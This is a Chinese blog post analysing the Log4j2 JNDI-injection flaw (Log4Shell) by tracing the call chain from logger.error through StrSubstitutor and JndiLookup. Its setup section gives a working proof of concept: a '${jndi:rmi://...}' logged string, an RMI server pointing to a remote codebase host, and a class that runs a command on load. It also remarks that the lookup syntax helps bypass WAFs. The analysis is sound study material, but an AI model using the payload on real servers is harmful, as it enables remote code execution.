log4j2漏洞分析

环境布置

和前面的JNDI注入时用的代码差不多

package Log4j2;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        //有些高版本jdk需要打开此行代码
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

        //模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
        String username = "${jndi:rmi://127.0.0.1:1099/hello}";
        //正常打印业务日志
        logger.error("username:{}",username);
    }
}
package JNDI_Inesrct;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("Calc", "Calc", "http://42.193.22.50:1234/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        registry.bind("hello", refObjWrapper);
    }
}

package Log4j2;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class EvilCode {
    static {
        System.out.println("受害服务器将执行下面命令行");
        Process p;

        String[] cmd = {"calc"};
        try {
            p = Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            while((line=br.readLine())!=null) {
                System.out.println(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

如果要引入log4j2的jar包可以这么配置Maven的pom.xml

<dependency>
          <groupId>org.apache.logging.log4j</groupId>
          <artifactId>log4j-api</artifactId>
          <version>2.14.0</version>
      </dependency>
      <dependency>
          <groupId>org.apache.logging.log4j</groupId>
          <artifactId>log4j-core</artifactId>
          <version>2.14.0</version>
      </dependency>

还要创建个配置文件
在这里插入图片描述

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">

    <!--全局参数-->
    <Properties>
        <Property name="pattern">%d{yyyy-MM-dd HH:mm:ss,SSS} %5p %c{1}:%L - %m%n</Property>
        <Property name="logDir">/data/logs/dust-server</Property>
    </Properties>

    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="console"/>
            <AppenderRef ref="rolling_file"/>
        </Root>
    </Loggers>

    <Appenders>
        <!-- 定义输出到控制台 -->
        <Console name="console" target="SYSTEM_OUT" follow="true">
            <!--控制台只输出level及以上级别的信息-->
            <ThresholdFilter level="INFO" onMatch="ACCEPT" onMismatch="DENY"/>
            <PatternLayout>
                <Pattern>${pattern}</Pattern>
            </PatternLayout>
        </Console>
        <!-- 同一来源的Appender可以定义多个RollingFile,定义按天存储日志 -->
        <RollingFile name="rolling_file"
                     fileName="${logDir}/dust-server.log"
                     filePattern="${logDir}/dust-server_%d{yyyy-MM-dd}.log">
            <ThresholdFilter level="INFO" onMatch="ACCEPT" onMismatch="DENY"/>
            <PatternLayout>
                <Pattern>${pattern}</Pattern>
            </PatternLayout>
            <Policies>
                <TimeBasedTriggeringPolicy interval="1"/>
            </Policies>
            <!-- 日志保留策略,配置只保留七天 -->
            <DefaultRolloverStrategy>
                <Delete basePath="${logDir}/" maxDepth="1">
                    <IfFileName glob="dust-server_*.log" />
                    <IfLastModified age="7d" />
                </Delete>
            </DefaultRolloverStrategy>
        </RollingFile>
    </Appenders>
</Configuration>

前言

log4j2这个漏洞当时爆出来的时候堪称是核弹级别的,危害非常大,利用还非常简单,既然如此,那我们肯定要分析一下漏洞相关的原理来学习一下

漏洞分析

调用栈

这个漏洞是个JNDI注入漏洞,分析前我们需要清楚这一点,之前我也分析过JNDI注入的相关流程,该漏洞是从javax.naming.InitialContext开始的,那我们就在那里下个断点,就可以得到log4j2这个漏洞的调用栈了,

在这里插入图片描述在这里插入图片描述

一些前置知识

在详细分析前先简单了解下log4j三大组件:

Logger:日志记录器,负责收集处理日志记录
Appender:日志存放的地方,负责日志的输出
Layout:日志格式化,负责日志输出的形式

入口函数

本次漏洞的入口函数为logIfEnabled,然而如果使用了AbstractLogger.java中的debug、info、warn、error、fatal等都会触发到该函数,但是后想要触发该漏洞只能error/fotal触发
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
想要触发后续流程,需要调用logMessage方法,需要isEnable为true,isEnable会对level进行判断,只有小于等于200,才会返回true。
他们的level如下所示

static {
        OFF = new Level("OFF", StandardLevel.OFF.intLevel());
     //100
        FATAL = new Level("FATAL", StandardLevel.FATAL.intLevel());
     //200
        ERROR = new Level("ERROR", StandardLevel.ERROR.intLevel());
     //300
        WARN = new Level("WARN", StandardLevel.WARN.intLevel());
     //400
        INFO = new Level("INFO", StandardLevel.INFO.intLevel());
     //500
        DEBUG = new Level("DEBUG", StandardLevel.DEBUG.intLevel());
     //600
        TRACE = new Level("TRACE", StandardLevel.TRACE.intLevel());
     //2147483647
        ALL = new Level("ALL", StandardLevel.ALL.intLevel());
    }

LoggerConfig.processLogEvent()

在这里插入图片描述
在log4j2中通过LoggerConfig.processLogEvent()处理日志事件,event中就是我们的日志事件,主要部分在调用callAppenders()即调用Appender

AppenderControl.callAppender

在这里插入图片描述
Appender功能主要是负责将日志事件传递到其目标,常用的Appender有ConsoleAppender(输出到控制台)、FileAppender(输出到本地文件)等,通过AppenderControl获取具体的Appender,本次调试的是ConsoleAppender。
在这里插入图片描述
调用了AbstractOutputStreamAppender.tryAppend()尝试输出日志

AbstractOutputStreamAppender.tryAppend()

在这里插入图片描述
在输入日志之前还得进行日志格式化,于是调用了directEncodeEvent

AbstractOutputStreamAppender.directEncodeEvent

在这里插入图片描述

首先通过getLayout()获取Layout日志格式,通过Layout.encode()进行日志的格式化

PatternLayout.encode

在这里插入图片描述
经过两层encode调用后再调用toText,在toSerializable处完成日志格式化

PatternLayout.toSerializable

在这里插入图片描述
这里通过format来完成了格式化的事

MessagePatternConverter.format(),

处理传入的message通过MessagePatternConverter.format(),也是本次漏洞的关键之处,我们具体来看下。
在这里插入图片描述
当config存在并且noLookups为false,匹配到${'则会调用replace替换字符串

StrSubstitutor.replace()

这里是调用栈最初调用lookup相关的地方
在这里插入图片描述
这里我们看不出啥,跟进两层substitute调用后,查看相关代码

StrSubstitutor.substitute

StrSubstitutor类提供的 substitute 方法,是整个 Lookup 功能的核心,用来递归替换相应的字符,这里我们仔细看一下处理逻辑。
在这里插入图片描述
我们先看看它的一些参数都代表了啥

prefixMatcher代表${ 前缀
suffixMatcher代表 } 后缀
escape代表 $
valueDelimiterMatcher代表 :和-
chars是我们写入日志的字符串
bufEnd相当于字符串长度
pos相当于头指针

接下来分析下代码逻辑
在这里插入图片描述
通过 while 循环遍历字符串寻找 ${ 前缀,找到以后startMatchLen会被赋值为2,相当于返回匹配到的前缀字符串长度,然后跳出循环

接着进入下一个while循环,寻找后缀
在这里插入图片描述
在找后缀的 while 循环里,又判断了是否碰到 ${前缀,如果碰到了pos指针直接加上它的长度让指针后移继续寻找后缀
在这里插入图片描述
后面匹配到后缀以后,把前缀和后缀中间部分提取出来,endMatchLen是匹配到的后缀的长度。
在这里插入图片描述
后缀匹配完后,还要通过多个 if/else 用来匹配 :- 和 :-

:- 是一个赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb,:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。
:- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。

通过上面的处理后,将会调用 resolveVariable 方法解析满足 Lookup 功能的语法,并执行相应的 lookup ,将返回的结果替换回原字符串后,再次调用 substitute 方法进行递归解析。
在这里插入图片描述
因此在字符串替换的过程中可以看到,方法提供了一些特殊的写法,并支持递归解析。而这些特性,将会可以用来进行绕过 WAF。

我们接着看resolveVariable方法

StrSubstitutor.resolveVariable

在这里插入图片描述
这里调用了Interpolator.lookup,继续去看看

Interpolator.lookup

Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。

这个类在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。
在这里插入图片描述
在 2.14.0 版本中,默认是加入 log4j、sys、env、main、marker、java、lower、upper、jndi、jvmrunargs、spring、kubernetes、docker、web、date、ctx,由于部分功能的支持并不在 core 包中,所以如果加载不到对应的处理类,则会添加警告信息并跳过。而这些不同 Lookup 功能的支持,是随着版本更新的,例如在较低版本中,不存在 upper、lower 这两种功能,因此在使用时要注意环境。

处理和分发的关键逻辑在于其 lookup 方法,该漏洞利用的也是lookup方法
在这里插入图片描述
通过 : 作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap 中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup 方法。

JndiLookup.lookup

本次漏洞的触发方式是使用 jndi: 关键字来触发 JNDI 注入漏洞,对于 jndi: 关键字的处理类为 org.apache.logging.log4j.core.lookup.JndiLookup
在这里插入图片描述
看一下最关键的 lookup 方法,可以看到是使用了 JndiManager 来支持 JNDI 的查询功能。

JndiManager.lookup

在这里插入图片描述
这里用到了javax.naming.InitialContext,这就接上了我们之前文章讲的JNDI注入的内容,后续就不再分析了,这就是log4j2漏洞的基本流程

总结

log4j2的调用链我们就分析完,相对于之前分析的漏洞来说,调用栈还挺长的,也很有意思,收获满满,但还需要继续学习,有些知识点还不是很清晰。至于该漏洞的各种rce以及各种绕过姿势,后面有空再继续学习了。

参考文章

https://paper.seebug.org/1786/#0x01
https://su18.org/post/log4j2/#%E5%85%B3%E9%94%AE%E7%82%B9%E5%88%86%E6%9E%90
https://www.anquanke.com/post/id/262668#h3-6

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值